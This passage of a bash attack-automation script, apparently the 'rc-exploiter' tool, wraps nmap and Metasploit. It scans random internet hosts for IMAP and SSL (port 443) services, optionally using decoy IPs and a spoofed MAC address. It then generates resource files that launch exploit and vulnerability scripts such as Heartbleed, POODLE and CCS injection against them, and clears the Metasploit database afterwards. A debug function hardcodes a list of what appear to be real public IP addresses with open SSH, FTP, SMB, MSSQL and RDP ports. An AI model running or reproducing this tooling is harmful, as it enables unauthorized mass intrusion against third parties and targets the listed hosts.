- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/imap.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp imap.rc imap.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[imap].log|g" imap.rc > copy.int
- mv copy.int imap.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[imap].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/imap.bk $IPATH/exploits/imap.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/imap.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "IMAP:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "IMAP:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # --------------
- # SSL exploiter
- # --------------
- sh_12 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "SSL:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 443 --open --reason -oN $IPATH/logs/Random-Hosts[ssl].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[ssl].log\nHOSTS: $NUM ONLY: open PORTS: 443\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 443 --open --reason -oN $IPATH/logs/Random-Hosts[ssl].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[ssl].log\nHOSTS: $NUM ONLY: open PORTS: 443\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[ssl].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg verbose true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ssl.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS verbose jobs -K" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[ssl].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary and report.log)
- cp ssl.rc ssl.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ssl].log|g" ssl.rc > copy.int
- sed "s|LiLiP4tH|$IPATH/logs/[ssl].log|g" copy.int > copy2.int
- mv copy2.int ssl.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # check if exists nmap scripts folder
- if [ -d $nS31 ]; then
- # check if exists poodle script
- if [ -e $nS31/ssl-poodle.nse ]; then
- echo "good" > /dev/null 2>&1
- else
- # copy nse scripts and lua lib to nmap directory
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- cp $IPATH/bin/ssl-poodle.nse $nS31/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $nS31/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $nS31/ssl-ccs-injection.nse
- cp $IPATH/bin/tls.lua $nS3Lib/tls.lua
- Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- cp $IPATH/bin/ssl-poodle.nse $Ints/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $Ints/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $Ints/ssl-ccs-injection.nse
- fi
- else
- # error nse folder not found
- echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
- echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
- sleep 2
- # manually input NSE folders path and metasploit nmap path
- qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
- qU2=$(zenity --title "INPUT NSE NSELIB INSTALL PATH" --text "example: /usr/share/nmap/nselib" --entry --width 350) > /dev/null 2>&1
- qU3=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy three nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- # copy files to its rigth place in nmapdb and msfdb
- cp $IPATH/bin/ssl-poodle.nse $qU/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $qU/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $qU/ssl-ccs-injection.nse
- cp $IPATH/bin/tls.lua $qU2/tls.lua
- cp $IPATH/bin/ssl-poodle.nse $qU3/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $qU3/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $qU3/ssl-ccs-injection.nse
- fi
- # update NSE database befor running resource files
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
- nmap --script-updatedb | grep "updated"
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssl].log\nstored: $IPATH/logs/heartbleed.log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/ssl.bk $IPATH/exploits/ssl.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ssl.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SSL:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "SSL:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg verbose true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ssl.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS verbose jobs -K" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary and report.log)
- cp ssl.rc ssl.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ssl].log|g" ssl.rc > copy.int
- sed "s|LiLiP4tH|$IPATH/logs/[ssl].log|g" copy.int > copy2.int
- mv copy2.int ssl.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # check if exists nmap script folder
- if [ -d $nS31 ]; then
- # check if exists poodle script
- if [ -e $nS31/ssl-poodle.nse ]; then
- echo "good" > /dev/null 2>&1
- else
- # copy nse scripts and lua lib to nmap directory
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- cp $IPATH/bin/ssl-poodle.nse $nS31/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $nS31/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $nS31/ssl-ccs-injection.nse
- cp $IPATH/bin/tls.lua $nS3Lib/tls.lua
- Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy three nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- cp $IPATH/bin/ssl-poodle.nse $Ints/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $Ints/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $Ints/ssl-ccs-injection.nse
- fi
- else
- echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
- echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
- sleep 2
- qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
- qU2=$(zenity --title "INPUT NSE NSELIB INSTALL PATH" --text "example: /usr/share/nmap/nselib" --entry --width 350) > /dev/null 2>&1
- qU3=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- cp $IPATH/bin/ssl-poodle.nse $qU/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $qU/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $qU/ssl-ccs-injection.nse
- cp $IPATH/bin/tls.lua $qU2/tls.lua
- cp $IPATH/bin/ssl-poodle.nse $qU3/ssl-poodle.nse
- cp $IPATH/bin/ssl-heartbleed.nse $qU3/ssl-heartbleed.nse
- cp $IPATH/bin/ssl-ccs-injection.nse $qU3/ssl-ccs-injection.nse
- fi
- # update NSE database befor running resource files
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
- nmap --script-updatedb | grep "updated"
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssl].log\nstored: $IPATH/logs/heartbleed.log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/ssl.bk $IPATH/exploits/ssl.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ssl.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SSL:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "SSL:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # ---------------------------
- # Show targets for tool debug
- # ---------------------------
- sh_targets () {
- echo "SHOW_TARGETS:LOADED" >> $IPATH/debug/debug.int
- Colors;
- echo ""
- echo " hosts port proto name state"
- echo " ----- ---- ----- ---- -----"
- echo " 162.144.100.186 21,22,3306 tcp ftp,ssh,mysql open "
- echo " 163.232.86.155 135,139,445 udp/tcp smb,samba open "
- echo " 198.13.103.178 3306 tcp mysql open "
- echo " 209.59.188.26 22 tcp ssh open "
- echo " 148.218.108.132 22 tcp ssh open "
- echo " 66.220.10.220 22 tcp ssh open "
- echo " 50.116.44.127 22 tcp ssh open "
- echo " 165.194.115.97 1433 tcp ms-sql-s open "
- echo " 122.9.141.72 1433 tcp ms-sql-s open "
- echo " 142.54.186.195 21 tcp ftp open "
- echo " 107.148.148.35 21 tcp ftp open "
- echo " 94.112.152.33 23 tcp telnet open "
- echo " 195.100.38.81 23 tcp telnet open "
- echo " 200.82.142.79 23 tcp telnet open "
- echo " 212.129.52.219 3389 tcp rdp open "
- echo " 88.200.219.47 443 tcp ssl open "
- echo " 90.176.170.46 443 tcp ssl open "
- echo " 192.116.71.163 443 tcp ssl open "
- echo " 191.241.91.21 443 tcp ssl open "
- echo " 94.199.178.215 443 tcp ssl open "
- echo " 197.159.15.116 80 tcp http open "
- echo " 105.157.187.83 80 tcp http open "
- echo ""
- echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
- read op
- }
- # --------------------
- # help - FAQ - display
- # --------------------
- sh_help () {
- Colors;
- if [ -e $IPATH/bin/help.faq ]; then
- # display FAQ
- echo ${white}['>']:[${GreenF} '(FAQ)'${YellowF} FREQUENT ASK QUESTIONS ${white}] ${Reset};
- echo "FAQ_ACCESS:LOADED" >> $IPATH/debug/debug.int
- cat $IPATH/bin/help.faq | zenity --title "FREQUENT ASK QUESTIONS" --text-info --width 640 --height 350 > /dev/null 2>&1
- else
- echo "FAQ_ACCESS:NOT FOUND" >> $IPATH/debug/debug.int
- zenity --warning --title="ERROR -> [ help.faq ] NOT FOUND" --text "can not display help...\nPlease download help.faq and place it:\n$IPATH/bin/help.faq" --width 380 > /dev/null 2>&1
- fi
- }
- # -------------------------------
- # clean msf database
- # -------------------------------
- sh_cdb () {
- Colors;
- cL3n=$(zenity --list --title "CLEAN MSF DATABASE" --text "use [ cleaner.rc ] OR [ delete all ]?" --radiolist --column "Pick" --column "Option" TRUE "cleaner.rc" FALSE "delete all" --width 350 --height 150) > /dev/null 2>&1
- if [ "$cL3n" = "cleaner.rc" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ CLEAN MSF DB ] ${Reset};
- sleep 2
- # check if cleaner exists
- if [ -e $IPATH/tempwork/cleaner.rc ]; then
- echo "CLEAN_DATABASE:cleaner.rc" >> $IPATH/debug/debug.int
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES ] ${Reset};
- # start postgresql+metasploit db
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/cleaner.rc"
- zenity --info --title="CLEAN MSF DATABASE" --text "Recent settings clean..." --width 300 > /dev/null 2>&1
- # stop metaslpoit service
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOPING MSF SERVICES ] ${Reset};
- service metasploit stop > /dev/null 2>&1
- # cleanning old config files
- rm -f $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- echo "CLEAN_DATABASE:exit" >> $IPATH/debug/debug.int
- else
- echo "CLEAN_DATABASE:cleaner.rc:NOT FOUND" >> $IPATH/debug/debug.int
- zenity --warning --title="ERROR -> [ cleaner.rc ] NOT FOUND" --text "the cleaner will be build everytime\nwe use one attack, and its stored in:\n$IPATH/tempwork/cleaner.rc" --width 480 > /dev/null 2>&1
- fi
- elif [ "$cL3n" = "delete all" ]; then
- # generate resource file
- echo "CLEAN_DATABASE:fullclean.rc" >> $IPATH/debug/debug.int
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ CLEAN MSF DB ] ${Reset};
- sleep 2
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -d" > $IPATH/tempwork/fullclean.rc
- echo "unset -g RHOST RHOSTS LHOST PASS_FILE USER_FILE MSSQL_PASS_FILE MSSQL_PASS_FILE" >> $IPATH/tempwork/fullclean.rc
- echo "unset -g BLANK_PASSWORDS STOP_ON_SUCCESS PAYLOAD USERNAME USERPASS_FILE verbose jobs -K" >> $IPATH/tempwork/fullclean.rc
- echo "sleep 3" >> $IPATH/tempwork/fullclean.rc
- echo "exit -y" >> $IPATH/tempwork/fullclean.rc
- chown $user $IPATH/tempwork/fullclean.rc > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES ] ${Reset};
- # start postgresql+metasploit db
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE ]${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/fullclean.rc"
- zenity --info --title="CLEAN MSF DATABASE" --text "done..." --width 350 > /dev/null 2>&1
- # stop metaslpoit service
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOPING MSF SERVICES ] ${Reset};
- service metasploit stop > /dev/null 2>&1
- # cleanning old config files
- rm -f $IPATH/tempwork/fullclean.rc > /dev/null 2>&1
- echo "CLEAN_DATABASE:exit" >> $IPATH/debug/debug.int
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "CLEAN_DATABASE:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # ---------------------------
- # exit script rc-exploiter.sh
- # ---------------------------
- sh_exit () {
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- service metasploit stop > /dev/null 2>&1
- # CHECK TOOLKIT_CONFIG SETTINGS
- ClF=`cat $IPATH/settings | egrep -m 1 "CLEAR_LOG_FOLDER" | cut -d '=' -f2`
- if [ "$ClF" = "YES" ]; then
- rm -f $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/logs > /dev/null 2>&1
- rm -f *.log > /dev/null 2>&1
- chown $user $IPATH/tempwork > /dev/null 2>&1
- zenity --info --title="CLEAN LOG FOLDER ON EXIT" --text "SUCCESSFULLY REBUILD ..." --width 350 > /dev/null 2>&1
- sh_exit_settings
- else
- # cleanning old config files
- rm -f $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- sh_exit_settings
- fi
- }
- sh_exit_settings () {
- Colors;
- cd $IPATH
- # CHECK TOOLKIT_CONFIG SETTINGS
- Cl3n=`cat $IPATH/settings | egrep -m 1 "REBUILD_TEMPFOLDER" | cut -d '=' -f2`
- if [ "$Cl3n" = "YES" ]; then
- cd $IPATH/tempwork
- rm -f *.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork
- zenity --info --title="CLEAN TEMPWORK ON EXIT" --text "SUCCESSFULLY REBUILD ..." --width 350 > /dev/null 2>&1
- sh_macch
- else
- sh_macch
- fi
- }
- sh_macch () {
- Colors;
- # check settings file
- if [ "$M4c" = "YES" ]; then
- H0m3=`echo ~`
- echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Changing your mac address to default... ${Reset};
- service network-manager stop > /dev/null 2>&1
- sleep 4
- macchanger -p $inter > /dev/null 2>&1
- sleep 17
- service network-manager start > /dev/null 2>&1
- sleep 5
- macchanger -s $inter | zenity --title "MAC ADDR CURRENT SETTINGS" --text-info --width 410 --height 110 > /dev/null 2>&1
- echo "CHANGING_MAC_TO_DEFAULT:YES" >> $IPATH/debug/debug.int
- sh_finall
- else
- echo "good" > /dev/null 2>&1
- sh_finall
- fi
- }
- # log tool activitty from previous modules used
- sh_finall () {
- dtr=`date | awk '{print $4}'`
- Colors;
- if [ "$L0g" = "ON" ]; then
- echo "EXIT_SCRIPT_IN:$dtr" >> $IPATH/debug/debug.int
- echo "------------------------------" >> $IPATH/debug/debug.int
- chown $user $IPATH/debug/debug.int > /dev/null 2>&1
- clear
- cat << !
- ,., ~-~ .-.
- (~ ~) ('¯') (~ ~)
- q:0 0:p )Ø Ø( :o o:
- ((_)) ( (_) ) (((_)))
- 'u' '=' '-'
- codename: "the three stooges"
- !
- echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
- exit
- else
- # clean debug.int
- echo "" > $IPATH/debug/debug.int > /dev/null 2>&1
- chown $user $IPATH/debug/debug.int > /dev/null 2>&1
- clear
- cat << !
- ,., ~-~ .-.
- (~ ~) ('¯') (~ ~)
- q:0 0:p )Ø Ø( :o o:
- ((_)) ( (_) ) (((_)))
- 'u' '=' '-'
- codename: "the three stooges"
- !
- echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
- exit
- fi
- }
- # ---------------------------
- # customize internal settings
- # ---------------------------
- sh_toolconf () {
- Colors;
- # edit 'settings' config file
- echo "SETTINGS:ACCESSED" >> $IPATH/debug/debug.int
- echo ${BlueF}[*]${RedF}::${BlueF}[framework settings] ${Reset};
- xterm -T "Customize Internal Settings" -geometry 81x42 -e "nano $IPATH/settings"
- clear
- }
- # -----------------
- # obfuscated or not
- # -----------------
- sh_pass () {
- Colors;
- echo "LOGIN_PROTECTED:ACCESSED" >> $IPATH/debug/debug.int
- lSs=$(zenity --list --title "RC-EXPLOITER LOGIN PROTECTED" --text "chose option" --radiolist --column "Pick" --column "Option" TRUE "enable login" FALSE "disable login" --width 350 --height 155) > /dev/null 2>&1
- if [ "$lSs" = "enable login" ]; then
- p0c=$(zenity --password --title "RC-EXPLOITER" --text "Enter password for LOGIN protected") > /dev/null 2>&1
- # use base64 to encode password string
- echo "$p0c" | base64 > $IPATH/bin/obfuscated
- # un-comment the follow line to activate my personal encoding
- #echo "0xpe2jt!3t9gal!4s0x3f%ex007a.n31d8f14#adr#34023:$p0c:b3t5altr60x0.d4al.rf44rvifr" > $IPATH/bin/obfuscated
- zenity --info --title="RC-EXPLOITER LOGIN PROTECTED" --text "password protected: $p0c" --width 350 > /dev/null 2>&1
- echo "LOGIN_PROTECTED:enable login" >> $IPATH/debug/debug.int
- elif [ "$lSs" = "disable login" ]; then
- rm $IPATH/bin/obfuscated > /dev/null 2>&1
- zenity --info --title="RC-EXPLOITER LOGIN PROTECTED" --text "Not active..." --width 350 > /dev/null 2>&1
- echo "LOGIN_PROTECTED:disable login" >> $IPATH/debug/debug.int
- else
- echo "LOGIN_PROTECTED:ABORTED" >> $IPATH/debug/debug.int
- echo ${RedF}[x]::[quiting module]... ${Reset};
- sleep 2
- fi
- }
- # ------------------------------
- # menu principal - loop forever
- # ------------------------------
- while :
- do
- clear
- dtr=`date | awk '{print $4}'`
- cat << !
- ██████╗ ██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗███████╗██████╗
- ██╔══██╗██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗
- ██████╔╝██║ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ █████╗ ██████╔╝
